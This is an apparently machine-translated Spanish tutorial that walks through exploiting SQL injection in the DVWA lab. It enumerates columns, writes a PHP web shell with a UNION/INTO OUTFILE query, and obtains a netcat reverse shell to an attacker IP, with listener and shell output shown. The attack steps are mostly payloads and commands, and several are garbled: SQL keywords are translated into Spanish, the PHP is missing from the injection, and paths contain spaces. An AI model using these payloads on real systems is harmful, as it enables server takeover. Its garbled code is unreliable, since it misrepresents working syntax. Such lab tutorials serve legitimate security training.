Cómo usar la inyección SQL para ejecutar comandos del sistema operativo y obtener shell
Uno de los objetivos principales de casi cualquier hack es obtener un shell (acceso a la línea de comando) para ejecutar comandos del sistema y, como resultado, dominar la computadora o red objetivo. Las inyecciones SQL generalmente se asocian solo con bases de datos y los datos que contienen, pero de hecho se pueden usar, incluso para obtener shells. En este tutorial, utilizaremos la inyección de SQL al explotar una vulnerabilidad simple para obtener la capacidad de ejecutar comandos, lo que da como resultado un shell inverso en el servidor.
Para llevar a cabo el ataque, utilizaremos Kali Linux y una máquina virtual especialmente creada con vulnerabilidades: DVWA . Si es nuevo en Kali, le recomendamos que trabaje a través de nuestra guía de seguridad y configuración de Kali para asegurarse de que su sistema esté listo para completar las tareas en este artículo.
Descripción general de la inyección SQL
La inyección SQL es una de las vulnerabilidades más comunes en la Web, así como una de las más peligrosas. Los atacantes pueden inyectar código SQL malicioso para, por ejemplo, extraer información confidencial, modificar o destruir cualquier información, o simplificar su ataque cuando intentan apoderarse del servidor.
Existen muchos tipos diferentes de inyecciones SQL y varios métodos de ataque para diversos sistemas de bases de datos que se utilizan en varios servidores. A pesar del hecho de que este tipo de ataque es uno de los más fáciles para principiantes, puede llevar varios años dominar magistralmente la habilidad de usar e implementar inyecciones SQL. Afortunadamente, hay bastantes buenos materiales que pueden ayudarlo a aprender esto.
Paso 1. Listado de objetivos
Lo primero que debe hacer es iniciar sesión en DVWA con las credenciales predeterminadas: «admin» como nombre de usuario y «contraseña» como contraseña.
Vaya a la pestaña «Seguridad» a la izquierda y establezca el nivel de seguridad en «Bajo». Esto asegura que nuestra pequeña demostración tenga lugar sin problemas.
Ahora, para comenzar el ataque, vaya a la página «Inyección SQL». Aquí vemos que la funcionalidad de la página es tomar la ID de usuario (ID de usuario) y devolver la información, en este caso, su nombre y apellido.
Debe asegurarse de que este campo de entrada sea realmente vulnerable a la inyección de SQL. Y lo primero que debe intentar es ingresar una comilla simple, que cierra prematuramente la instrucción SQL si este campo es realmente vulnerable. Cuando hagamos esto, veremos un error, como en la siguiente captura de pantalla, que incluso informa que usa MySQL como base de datos. Por el momento, es muy probable que hayamos encontrado un punto de entrada vulnerable.
Lo siguiente que debemos hacer es enumerar el contenido de la base de datos y determinar el número de columnas utilizadas. Esto nos permitirá explotar la vulnerabilidad mediante la inyección de consultas UNION. Para hacerlo más visual, veamos cómo se verá la consulta SQL durante el envío normal de sus datos por parte del usuario:
seleccione first_name, apellido de los usuarios donde user_id = '';
Lo más probable es que esta solicitud en el backend se vea exactamente así, con first_name y apellido como columnas en la base de datos, solo dos columnas. Pero debemos saber con seguridad qué columnas hay en esta base de datos, de lo contrario, nada funcionará. Para hacer esto, podemos usar el orden por declaración.
Esta declaración ordena los resultados de una consulta SQL en columnas. Como estamos seguros de que se utilizan al menos dos columnas, si ordenamos el resultado de la salida por la primera o segunda columna, la consulta debería tener éxito. Pero, ¿qué pasa si queremos ordenar por la tercera columna? Si estamos en lo cierto, entonces dicha solicitud debería conducir a un error.
Envíe la siguiente inyección a través de este campo de entrada y debería provocar un error. El signo de número (#) se usa aquí para comentar el resto de la consulta SQL para que no produzca errores de sintaxis adicionales.
'ordenar por 3 #
Y realmente obtenemos el error, así que ahora sabemos con certeza que solo se usan dos columnas.
Paso 2. Acceder a la línea de comando y ejecutar comandos
Ahora que tenemos un poco más de información sobre la base de datos, podemos usarla para realizar inyecciones SQL basadas en consultas UNION. La instrucción UNION se usa en SQL para combinar los resultados (como su nombre lo indica) de dos o más instrucciones SELECT. Pero para una operación adecuada, los operadores deben tener el mismo número de columnas. Es por eso que necesitábamos descubrir cuántas columnas hay en la base de datos.
Hay bastantes cosas que podemos hacer con inyecciones basadas en consultas UNION, pero en este tutorial consideraremos usar esta vulnerabilidad solo para ejecutar comandos del sistema operativo. Una de las formas más fáciles de hacer esto es descargar un shell PHP simple a través del cual podemos traducir nuestros comandos.
Para cargar el shell, debe determinar el directorio raíz del servidor web. Según la aplicación y el tipo de servidor web utilizado, la ubicación del directorio raíz puede variar, especialmente si el administrador ha cambiado su ubicación o se han establecido derechos especiales para ello. Para el propósito de la lección de demostración, asumiremos que el servidor usa el directorio raíz del servidor Apache, por defecto / var / www /, con permisos de escritura pública. La información sobre el servidor web, incluido el directorio raíz, generalmente se puede encontrar en el archivo «phpinfo.php».
Para escribir en un archivo, podemos usar el comando into outfile. Y en este caso, insertaremos un script PHP simple que puede ejecutar comandos del sistema. El script, que felizmente llamaremos «cmd.php», debería verse así:
<?php system($_GET["cmd"]); ?>
Ahora hagamos la inyección. En el script PHP, necesitamos usar comillas dobles, ya que este bloque de código deberá incluirse en la segunda parte de la instrucción SQL, que usa comillas simples; esto evitará errores de sintaxis. Una inyección SQL completa se verá así:
'union select 1,' 'en outfile' /var/www/dvwa/cmd.php '#
Si esto funcionó, según lo previsto, ahora podemos acceder a nuestro shell a través de la URL, especificando el comando del sistema como parámetro. Por ejemplo, el comando whoami nos proporcionará información sobre el usuario actual:
O el comando uname -a, que nos dará información sobre el sistema:
Pero pasar todos estos comandos a través de parámetros de URL es un procedimiento bastante incómodo y tedioso. De hecho, necesitamos usar este método solo una vez para obtener un shell inverso y luego seguir adelante.
Paso 3. Invertir Shell usando Netcat
Netcat es una poderosa utilidad de red utilizada para solucionar problemas de conectividad, pero de hecho, los hackers pueden usarla como una puerta trasera y una forma de obtener un shell. Muchas distribuciones de Linux tienen esta utilidad instalada de forma predeterminada, por lo que si podemos acceder a ella, el juego ha terminado.
En primer lugar, necesitamos instalar un «oyente» en nuestra computadora local. Use el comando nc con las banderas -lvp. Estas banderas le dicen a nc que escuche (l – listen), para proporcionar una descripción detallada de los eventos (v – verbose) y un número de puerto específico (p – port), respectivamente.
nc -lvp 1234
listening on [any] 1234 ...
Luego, ingrese el siguiente comando como parámetro de nuestro shell PHP en la URL. Le dice al servidor que ejecute un shell (-e / bin / sh) y lo envíe de vuelta a nuestra máquina local. Asegúrese de estar utilizando la dirección IP y el puerto correctos.
nc 172.16.1.100 1234 -e / bin / sh
Espere unos segundos y verá cómo nuestro «oyente» atrapará el shell y abrirá la conexión. Desde aquí podemos ejecutar comandos como id, uname -a y ps.
connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
PID TTY TIME CMD
4665 ? 00:00:00 apache2
4669 ? 00:00:00 apache2
4671 ? 00:00:00 apache2
4673 ? 00:00:00 apache2
4674 ? 00:00:00 apache2
4803 ? 00:00:00 apache2
4810 ? 00:00:00 apache2
4914 ? 00:00:00 php
4915 ? 00:00:00 sh
4919 ? 00:00:00 ps
Ahora tenemos las herramientas adecuadas para ejecutar comandos en el servidor web sin salir de nuestra propia terminal. Y todo esto con la ayuda de una vulnerabilidad simple a la inyección SQL.
Conclusión
En este artículo, aprendimos cómo identificar una vulnerabilidad por usar la inyección SQL, enumeramos la estructura interna de la base de datos y pudimos usar esta información para cargar un shell PHP simple para ejecutar comandos en el sistema de destino. A partir de ahí, mejoramos aún más nuestro ataque con Netcat. Con su ayuda, recibimos un shell inverso, que abrió la puerta trasera del servidor web. Esto demuestra claramente que con suficiente paciencia, creatividad y poca suerte, un hacker podrá aprovechar incluso pequeñas vulnerabilidades y convertirlas en algo más poderoso.
Descargo de responsabilidad : este artículo está escrito solo con fines educativos. El autor o editor no publicó este artículo con fines maliciosos. Si los lectores desean utilizar la información para beneficio personal, el autor y el editor no son responsables de ningún daño o daño causado.